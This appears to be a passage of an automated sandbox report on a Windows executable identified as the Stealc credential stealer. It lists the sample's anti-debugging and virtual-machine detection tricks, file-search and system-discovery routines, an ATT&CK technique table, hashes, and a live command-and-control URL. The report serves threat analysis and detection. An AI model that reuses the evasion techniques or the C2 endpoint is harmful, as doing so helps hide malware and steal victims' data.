Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C813 second address: E2C85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F0D34B708F8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000004h 0x00000023 or dword ptr [ebp+122D1C98h], edx 0x00000029 call 00007F0D34B708F9h 0x0000002e jmp 00007F0D34B708FCh 0x00000033 push eax 0x00000034 push edi 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C85C second address: E2C860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C860 second address: E2C881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F0D34B708FAh 0x00000014 popad 0x00000015 pop ebx 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C881 second address: E2C887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CB07 second address: E2CBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D34B70904h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0D34B708F8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push ebx 0x00000028 add dl, 00000034h 0x0000002b pop edx 0x0000002c sub dh, FFFFFF93h 0x0000002f push dword ptr [ebp+122D1A03h] 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F0D34B708F8h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f mov edx, dword ptr [ebp+122D1C8Fh] 0x00000055 call 00007F0D34B708F9h 0x0000005a ja 00007F0D34B70902h 0x00000060 push eax 0x00000061 push edi 0x00000062 pushad 0x00000063 jg 00007F0D34B708F6h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBA0 second address: E2CBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F0D344F4AB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBB3 second address: E2CBB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBB7 second address: E2CBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBC5 second address: E2CBD3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBD3 second address: E2CBEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007F0D344F4ABCh 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E219 second address: E2E21F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E21F second address: E2E24E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F0D344F4AC2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E24E second address: E2E268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0D34B70905h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54703ED second address: 54703F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54703F2 second address: 5470432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B708FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, ebx 0x0000000d pushad 0x0000000e jmp 00007F0D34B70901h 0x00000013 push esi 0x00000014 pop ebx 0x00000015 popad 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F0D34B708FAh 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470432 second address: 5470436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470436 second address: 547043A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547043A second address: 5470440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BA1A9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DCCABE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00954910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00954910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0094DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0094E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0094ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00954570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00954570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094F68A FindFirstFileA,	0_2_0094F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0094F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00953EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00953EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0094DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0094BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00941160 GetSystemInfo,ExitProcess,

0_2_00941160

Source: file.exe, file.exe, 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2090680717.0000000001645000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2090680717.0000000001615000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13406
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13395
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13392
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13446
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13414

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009445C0 VirtualProtect ?,00000004,00000100,00000000

0_2_009445C0

Source: C:\Users\user\Desktop\file.exe

0_2_00959860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00959750 mov eax, dword ptr fs:[00000030h]

0_2_00959750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009578E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_009578E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1216, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00959600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00959600

Source: file.exe, file.exe, 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00957B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00957980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00957980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00957850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00957850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00957A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00957A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2045915798.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1216, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2045915798.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1216, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37/n	file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/I~	file.exe, 00000000.00000002.2090680717.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.37/e2b1563c6670f193.phpd	file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpo?	file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpW	file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520474
Start date and time:	2024-09-27 11:25:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 19 Number of non-executed functions: 88
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950254409898125
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'828'864 bytes
MD5:	219066ac9697d1cdeb536bc4ea74c123
SHA1:	a8f5b34c40766dbf7ae0140c581dc23c5d75918f
SHA256:	ce8350a94bca9e1e552275527845443db7c0d0159e34e53220bfe38fed03e041
SHA512:	0bfc7e3adcf4712c8f2d21810e0649edaaeff972cb3bd8a31f420200188eb2221593d9966bf8ff91e68162de9bd4f90a3676beb8bea90faa32272882ae9f81f4
SSDEEP:	49152:s+tFXr7DkxHdvqpZ+w2wg8I2wBnU7S0sOUP:5FXYGZh2wNwG7Shz
TLSH:	6585332915FE6567E8D4B6FB4C96E55173304188B3EADB588D2E081CC8532EBEB274F0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0D347D556Ah
shufps xmm3, dqword ptr [ebx], 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0D347D7565h
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add eax, 0300000Ah
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
